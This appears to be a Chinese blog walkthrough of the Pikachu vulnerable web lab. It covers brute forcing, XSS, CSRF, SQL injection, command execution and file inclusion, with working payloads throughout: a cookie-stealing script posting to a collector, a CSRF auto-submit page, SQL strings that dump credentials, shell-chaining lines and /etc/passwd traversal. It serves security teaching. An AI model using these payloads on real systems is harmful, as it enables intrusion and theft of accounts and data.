赞
踩
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
从来没有哪个时代的黑客像今天一样热衷于猜解密码
———奥斯特洛夫斯基
前后端中并没有设置验证码,token或登录次数限制,所以直接用intruder模块加载字典爆破。
- if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
-
- $username = $_POST['username'];
- $password = $_POST['password'];
- //获取post提交的账号和密码
-
- $sql = "select * from users where username=? and password=md5(?)";
- $line_pre = $link->prepare($sql);
- //连接数据库进行账号密码比对查询
-
- $line_pre->bind_param('ss',$username,$password);
-
- if($line_pre->execute()){
- $line_pre->store_result();
- if($line_pre->num_rows>0){
- //查询返回数据后num_rows不为0,表示登录成功
- $html.= '<p> login success</p>';
在proxy中开启抓包,点击pikachu中login按钮抓取登录的POST包,按Ctrl+i将其放入Intruder模块中。
这里因为有多个参数所以我们选择Cluster bomb以排列组合的方式进行爆破,分别选中username与password参数的值点击Add将其打上标记,该操作是确认爆破的位置。
Payload set选择爆破的位置,在下方导入准备的字典,这里可以选择Load导入txt,也可以在下面Add手动添加。字典可以关注文章结尾公众号或私信我获取。
导入字典后就可以点击Start attack进行爆破了
根据回包的长度可以判断是否爆破成功。
验证码可以重复使用
源码中的注释也写的比较清楚了,在生成验证码的"showvcode.php"文件只做了session_start,所有生成的验证码在该session中能一直使用,这也就造成了我们再重复发包的时候可以一直利用同一个验证码。
- //验证验证码是否正确
- if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
- $html .= "<p class='notice'>验证码输入错误哦!</p>";
- //应该在验证完成后,销毁该$_SESSION['vcode']
- }else{
-
- $username = $_POST['username'];
- $password = $_POST['password'];
- $vcode = $_POST['vcode'];
-
- $sql = "select * from users where username=? and password=md5(?)";
- $line_pre = $link->prepare($sql);
-
- $line_pre->bind_param('ss',$username,$password);
-
- if($line_pre->execute()){
- $line_pre->store_result();
- //虽然前面做了为空判断,但最后,却没有验证验证码!!!
- if($line_pre->num_rows()==1){
- $html.='<p> login success</p>';
- /inc/showvcode.php
-
- <?php
- session_start();
- include_once 'function.php';
- //$_SESSION['vcode']=vcode(100,40,30,4);
- $_SESSION['vcode']=vcodex();
- //验证码绕过 on server 这里其实还是有一个问题,就是服务端将验证码字符串以明文COOKIE的方式给了前端,那验证码还有什么鸟意义。。。
- setcookie('bf[vcode]',$_SESSION['vcode']);
- ?>
和前面的方法一样,直接抓包放到intruder中爆破就好了
删除前端生成函数
可以直接在前端源码中查看到定义的js代码
直接删除前端的生成的验证码函数,绕过前端的验证码生成,使用查看器左侧的指针点击验证码即可定位到对应的JS代码。
右键点击删除节点。
就可以抓取到无验证码参数的POST包放入到intruder中爆破了,爆破过程同上。
每当一个新的session生成时就会生成一个新的随机token,在验证账号密码的同时,还会验证当前提交的token和生成的token是否一致。
- if($token == $_SESSION['token']){
-
- if($line_pre->execute()){
- $line_pre->store_result();
- if($line_pre->num_rows>0){
- $html.= '<p> login success</p>';
但是生成的随机token是可以在前端源代码中查看的。
这就导致,在同一个session,我们可以抓取当前页面的token值,再同时提交账号密码和token来进行爆破。
抓包放到intruder模块中,在Settings中找到Grep-Extract选项,点击Add
点击Refetch response获取响应包,鼠标选中token值,bp会自动帮我们设置正则匹配的语句
选择OK,再在当前的Setting中找到Redirections,把Follow redirections选择为Always
来到选定框中,选定要加载的参数,记住要是Pitchfork模式
选定token要加载的payload为Recursive grep
最后将线程(Number of threads)修改为1,保证一个session对应一个token,新版Burp suite在Resource pool中下方创建新的resource pool。
都设置好后点击爆破即可。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端,get型则表示在url处就可以插入js代码
<script>alert(1)</script>
在插入代码前,前端代码有限制输入框的字数限制,先修改前端代码,突破字数限制,也可以直接在url中插入js代码
将上面的js代码插入到输入框中,可以看到有弹窗出现
*注:弹框只是直观的检测是否存在xss漏洞的输入点
我们看看源码
- if($_GET['message']=='kobe'){
- $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
- }else{
- $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
源码中直接将我们输入的message插入到了页面的html当中,这就导致我们可以插入js代码到网页中并执行
post型表示插入的js代码在请求包中
<script>alert(1)</script>
首先登录 admin/123456
来到输入框继续插入上面的js代码,得到和上面一样的结果
源码
- if($_POST['message']=='kobe'){
- $html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
- }else{
- $html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
这里虽然是POST的请求,但是处理message的方式是不变的,依旧可以直接插入js代码到html中。
存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)。
<script>alert(1)</script>
直接将js代码插入到留言框中,可以看到js代码已经存储到服务端了。
每次点击该页面都会执行插入的js代码。
源码
- //将message信息插入到数据库中
- if(array_key_exists("message",$_POST) && $_POST['message']!=null){
- $message=escape($link, $_POST['message']);
- $query="insert into message(content,time) values('$message',now())";
- $result=execute($link, $query);
- ...
- //查询message信息数据直接插入到html中
- <?php echo $html;
- $query="select * from message";
- $result=execute($link, $query);
DOM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。解析树的根节点是“ Document”对象。DOM( Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
一种基于DOM的跨站,这是客户端脚本本身解析不正确导致的安全问题。
'><img src=x onerror=alert(1)>
源码
- <script>
- function domxss(){
- var str = document.getElementById("text").value;
- document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
- }
- //试试:'><img src="#" onmouseover="alert('xss')">
- //试试:' onclick="alert('xss')">,闭合掉就行
- </script>
经过js的处理,用户输入的参数被处理为一些标签中属性的值,通过对值的闭合拼接,来达到添加js代码的目的。
'><img src=x onerror=alert(1)>
将代码输入框内,点击右侧按钮后,再点击下方文字即可出现弹窗。
源码
- <script>
- function domxss(){
- var str = window.location.search;
- var txss = decodeURIComponent(str.split("text=")[1]);
- var xss = txss.replace(/\+/g,' ');
- //alert(xss);
-
- document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
- }
- //试试:'><img src="#" onmouseover="alert('xss')">
- //试试:' onclick="alert('xss')">,闭合掉就行
- </script>
只是多了一步对url的处理,本质上还是没有对用户输入的数据进行过滤。
攻击者的js代码会插入到管理员的后台管理中,当管理员登录后台时可以记录cookie等信息。
- <script>alert(1)</script>
- <script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> //盗取cookie
- <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> //账号密码钓鱼
访问管理员后台,如果根据提示无法访问,可以尝试访问:
http://127.0.0.1/pikachu/pkxss/xssmanager.php
xss后台成功获取cookie信息
源码
- if(array_key_exists("content",$_POST) && $_POST['content']!=null){
- $content=escape($link, $_POST['content']);
- $name=escape($link, $_POST['name']);
- $time=$time=date('Y-m-d g:i:s');
- //插入数据到数据库
- $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
- $result=execute($link, $query);
- if(mysqli_affected_rows($link)==1){
- $html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
- ...
- //读取数据
- $query="select * from xssblind";
- $result=mysqli_query($link, $query);
- while($data=mysqli_fetch_assoc($result)){
- $html=<<<A
- <tr>
- <td>{$data['id']}</td>
- <td>{$data['time']}</td>
- <td>{$data['content']}</td>
- <td>{$data['name']}</td>
- <td><a href="admin.php?id={$data['id']}">删除</a></td>
- </tr>
同样也是不做任何处理存储数据,读取数据的时候也是没有做任何处理。
- <ScRipt>alert(1)</sCriPt>
- <img src=x onerror=alert(1)>
源码
- //这里会使用正则对<script进行替换为空,也就是过滤掉
- $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
过滤了<script,但是过滤的不够彻底,利用大小写变换或其他标签可以成功执行。
htmlspecialchars — 将特殊字符转换为 HTML 实体
字符 | 替换后 |
& (& 符号) | & |
" (双引号) | ",除非设置了 ENT_NOQUOTES |
' (单引号) | 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 **ENT_XML1**、 ENT_XHTML 或 ENT_HTML5)。 |
< (小于) | < |
> (大于) | > |
' onclick=alert(1) '
源码
- $message=htmlspecialchars($_GET['message']);
- $html1.="<p class='notice'>你的输入已经被记录:</p>";
在无法使用一些标签中所需的字符时,利用闭合的方式尝试进行xss攻击,如果设置了ENT_QUOTES,就无法进行xss攻击了。
javascript:alert(1)
利用javascript伪协议执行js代码。
源码
- if(empty($_GET['message'])){
- $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
- }
- if($_GET['message'] == 'www.baidu.com'){
- $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
- }else {
- //输出在a标签的href属性里面,可以使用javascript协议来执行js
- //防御:只允许http,https,其次在进行htmlspecialchars处理
- $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
- $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
</script><script>alert(1)</script>
源码
- //这里讲输入动态的生成到了js中,形成xss
- //javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
-
- //讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
- //这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
- //所以在JS的输出点应该使用\对特殊字符进行转义
-
-
- if(isset($_GET['submit']) && $_GET['message'] !=null){
- $jsvar=$_GET['message'];
- // $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
- if($jsvar == 'tmac'){
- $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
- ...
- <p class="xssr_title">which NBA player do you like?</p>
- <form method="get">
- <input class="xssr_in" type="text" name="message" />
-
- <input class="xssr_submit" type="submit" name="submit" value="submit" />
- </form>
- </br>
- <p id="fromjs"></p>
- <?php echo $html;?>
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12344556789&add=qwe&email=12344556789@qq.com&submit=submit
让kobe用户去点击上面的连接,kobe用户原本的信息。
我们使用同一浏览器去访问上面链接,链接中sex、phonenum、add与email参数的值可以进行修改,点击完链接后可以看到kobe的个人信息被修改了。
这里需要我们自己写个利用该漏洞的html文件,放在自己服务器上,并发给被攻击者点击这个html文件的链接。
- <html>
- <script> <!-- 这个script是用来自动提交表单的 -->
- window.onload = function() {
- document.getElementById("submit").click();
- }
- </script>
- <body>
- <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
- <input type="hidden" name="sex" value="boy" />
- <input type="hidden" name="phonenum" value="12123" />
- <input type="hidden" name="add" value="123" />
- <input type="hidden" name="email" value="123" />
- <input type="hidden" name="submit" value="submit" />
- <input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
- </form>
- </body>
- </html>
将上述代码写入txt文本后修改后缀为html。
随后登录任意用户后使用同一浏览器打开该html,信息就被修改了。
跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。
源码
- if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token'])
- //判断服务端的token和客户端的token是否一致
每次访问都会随机生成一个token,只有当token一样我们才可以进行伪造,所以该关卡其实是CSRF的一种防御手段。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!
- //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
- $id=$_POST['id'];
- $query="select username,email from member where id=$id";
- $result=execute($link, $query);
- //这里如果用==1,会严格一点
使用Burp Suite抓取POST包,在发送post请求的id中加上',网页返回报错信息,判断存在sql注入。
根据回显信息,判断为数字型注入,构造闭合,插入order by语句来判断字段数,在字段数为3的时候报错,说明字段数为2。
2回写正常,3则报错。
判断回显点,用联合查询语句,union select,记住id=的数必须是一个错误的数,这样数据库执行后面联合查询语句的信息才能回显在页面上。
之后我们就可以插入一些函数或sql语句来查询数据库了。
sql
- id=-1 union select 1,database()%23 //查询当前数据库名称
- id=-1 union select 1,version()%23 //查询当前数据库版本
- id=-1 union select 1,user()%23 //查询当前数据库登录用户
-
- id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23 //查询当前数据库表的信息
-
- id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')%23 //查询users表的列
-
- id=-1 union select 1,(select group_concat(username,0x3a,password) from users)%23 //查询表中的账号和密码
这里修改了请求方式和注入类型。
- $name=$_GET['name'];
- //这里的变量是字符型,需要考虑闭合
- $query="select id,email from member where username='$name'";
- $result=execute($link, $query);
判断注入类型。
在url中直接添加sql语句。
sql
- name=1'%23 //语句闭合
- name=1' order by 2%23 //判断字段数
- name=-1' union select 1,2%23 //联合查询注入
- name=-1' union select 1,database()%23 //查询当前数据库
- name=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23 //查询当前数据库表的信息
- name=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')%23 //查询当前表字段信息
- name=-1' union select 1,(select group_concat(username,0x3a,password) from users)%23 //查询账号密码
- //这里没有做任何处理,直接拼到select里面去了
- $name=$_GET['name'];
-
- //这里的变量是模糊匹配,需要考虑闭合
- $query="select username,id,email from member where username like '%$name%'";
只需要根据特定的语句做拼接闭合就好了,首先判断注入类型,%在sql语句中表示模糊匹配,由此判断是搜索型注入。
找到注入点后就先尝试闭合,再插入其他sql语句,可以看到这里列举出了所有用户信息。
sql
- name=%'order by 3--+ //判断字段数
- name=%'union select 1,2,3--+ //联合查询找到注入点
- name=%'union select 1,2,database()--+ //查询数据库信息
- name=%'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+ //查询当前数据库表信息
- name=%'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+ //查询当前表中的字段
- name=%'union select 1,2,(select group_concat(username,0x3a,password) from users)--+ //查询账号密码
- //这里没有做任何处理,直接拼到select里面去了
- $name=$_GET['name'];
- //这里的变量是字符型,需要考虑闭合
- $query="select id,email from member where username=('$name')";
- $result=execute($link, $query);
可以看到sql语句中,用('')把变量包裹。。
判断闭合条件。
')-- -回写正常闭合成功。
sql
- name=kobe')-- - //闭合
- name=kobe')order by 2-- - //判断字段数
- name=1')union select 1,2-- - //显示回显点
- name=1')union select 1,database()-- - //查询当前数据库
- name=1')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- - //查询当前库表的信息
- name=1')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')-- - //查询当前字段信息
- name=1')union select 1,(select group_concat(username,0x3a,password) from users)-- - //查询账号密码
- //没转义,导致注入漏洞,操作类型为insert
- $getdata=$_POST;
- $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
- $result=execute($link, $query);
- ...
- //未转义,形成注入,sql操作类型为update
- $getdata=$_POST;
- $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
- $result=execute($link, $query);
注册和修改个人信息界面都可以进行以下语句的sql注入。
sql
- 1' or updatexml(1,concat(0x7e,user()),0) or'
- 1' or updatexml(1,concat(0x7e,database()),0) or'
-
- ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)or' //查询当前数据库表
-
- ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)or' //查询当前表字段名
-
- ' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or' //查询账号信息
-
- ' or updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)or' //查询密码信息,因为字段过长需要用到limit来查询
在注册界面抓包并在username参数位置进行sql注入。
- $query="delete from message where id={$_GET['id']}";
- $result=execute($link, $query);
注入点在删除按钮,因为页面无输入框,使用Burp Suite抓取删除数据包。
使用报错注入。
sql
- 1 or updatexml(1,concat(0x7e,database()),0) //查询数据库信息
-
- 1+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase())),0) //查询数据表信息
-
- 1+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d'users')),0) //查询字段名
-
- 1+or+updatexml(1,concat(0x7e,(select+group_concat(username)+from+users)),0) //查询账号
- 1+or+updatexml(1,concat(0x7e,(select+password+from+users+limit+0,1)),0) //查询密码
- //直接获取前端过来的头信息,没人任何处理,留下安全隐患
- $remoteipadd=$_SERVER['REMOTE_ADDR'];
- $useragent=$_SERVER['HTTP_USER_AGENT'];
- $httpaccept=$_SERVER['HTTP_ACCEPT'];
- $remoteport=$_SERVER['REMOTE_PORT'];
-
- //这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
- $query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
- $result=execute($link, $query);
点击登陆后,页面会回写我们User-Agent等信息,抓包测试一下登录包的User-Agent,发现没有反应。
点击Forward测试下一数据包的User-Agent,发现注入点。
sql
- ' or updatexml(1,concat(0x7e,(select database())),1)or' //查看数据库信息
-
- ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)or' //查询表名
-
- ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)or' //查询当前表字段名
-
- ' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or' //查询账号信息
-
- ' or updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)or' //查询密码信息,因为字段过长需要用到limit来查询
- $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
- $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
- //mysqi_query不打印错误描述,即使存在注入,也不好判断
- $result=mysqli_query($link, $query);//
由于页面不返回错误信息,因此得用比较来判断字符。
前面id等于的信息必须是存在的,这样才能正确执行后面拼接的语句。
使用sql语句lucy' and length(database())=7-- -,当等于7的时候页面回写正常,所以判断数据库的长度为7。
后续操作就需要一个个字符猜测数据库名、表名、列名、用户名以及密码。
sql
- lucy' -- - //语句闭合
- lucy' and length(database())=7-- - //判断数据库字符数
- lucy' and (substr(database(),2,1))='i'-- - //判断数据库名
- lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- - //判断表名
- lucy' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'-- - //判断列名
- lucy' and (substr((select username from users limit 0,1),1,1))='a'-- - //判断用户名数据
- lucy' and (substr((select password from users limit 0,1),1,1))='e'-- - //判断用户名数据
建议使用Burp Suite的爆破模块来进行爆破,也可使用脚本。
以此类推,所有表名为httpinfo,member,message,users,xssblind,所有字段名为id,username,password,level,id,username,password。
- $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
- $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
- $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
- // $result=execute($link, $query);
- // $html.="<p class='notice'>i don't care who you are!</p>";
- if($result && mysqli_num_rows($result)==1){
- while($data=mysqli_fetch_assoc($result)){
- $id=$data['id'];
- $email=$data['email'];
- //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
- $html.="<p class='notice'>i don't care who you are!</p>";
由于没有任何有效的回显信息,因此只能通过sleep函数来判断。网页延迟了5s
前面id等于的信息必须是存在的,这样才能正确执行后面拼接的语句。
sql
- lucy' and sleep(5)--+ //闭合函数执行
- #当判断成功时页面会延时
- lucy' and sleep(if(length(database()=7),5,0))--+ //判断数据库字符数
- lucy' and sleep(if(substr(database(),1,1)='p',5,0))--+ //判断数据库名
- lucy' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',sleep(5),0)--+ //判断表名
-
- lucy' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+ //判断字段名
- lucy' and if(substr((select username from users limit 0,1),1,1)='a',0,sleep(3)) //判断用户名
*注:因为盲注耗时较大,强烈建议使用脚本或者工具去测试。
宽字节注入,简单来说就是数据库用了GBK编码,\转义了’ ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了。
宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询。
源码
- $name = escape($link,$_POST['name']);
- $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
- //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
使用BP抓包构造语句。
sql
- name=1%df'-- - //语句闭合
- name=1%df' order by 2-- - //判断字段数
- name=1%df' union select 1,2-- - //联合查询注入
- name=1%df' union select 1,database()-- - //查询当前数据库
- name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - //查询当前数据库表的信息
- name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- - //查询当前表字段信息
- name=1%df' union select group_concat(username),group_concat(password) from pikachu.users -- - //查询账号密码
RCE(remote command/code execute),RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
- localhost && whoami
- a & whoami
- a | whoami
- a || whoami
- a;whoami //类linux特有
源码
- $ip=$_POST['ipaddress'];
- // $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
- if(stristr(php_uname('s'), 'windows')){
- // var_dump(php_uname('s'));
- $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
- }else {
- $result.=shell_exec('ping -c 4 '.$ip);
在执行命令处,直接是做命令拼接,没有做任何的过滤。
phpinfo();
源码
- if(isset($_POST['submit']) && $_POST['txt'] != null){
- if(@!eval($_POST['txt']))
eval函数直接就处理了用户输入的数据。
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如 在PHP中,提供了:
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
- ../../../../../../../../../../../../../../etc/passwd //linux
- ../../../../Windows/System32/drivers/etc/hosts //windows
源码
- $filename=$_GET['filename'];
- include "include/$filename";//变量传进来直接包含,没做任何的安全限制
- // //安全的写法,使用白名单,严格指定包含的文件名
- // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
- // include "include/$filename";
作者在注释中也说明的比较清楚了,没有做任何限制,可以直接查看一些敏感文件。
源码
- //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
- $html='';
- if(isset($_GET['submit']) && $_GET['filename']!=null){
- $filename=$_GET['filename'];
- include "$filename";//变量传进来直接包含,没做任何的安全限制
开启allow_url_fopen和allow_url_include配置,且关闭magic_quotes_gpc配置的情况下,可以直接包含远程文件。
进入php.ini将上述2个参数的值修改为on,保存然后重启Apache。
使用小皮搭建的话确保php的远程包含选项是开启的。
我们就可以直接远程读取文件,这里以http://baidu.com/robots.txt为例。
因篇幅原因后续关卡请关注我的下一篇文章。
扫一扫关注CatalyzeSec公众号
我们一起来从零开始学习网络安全
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。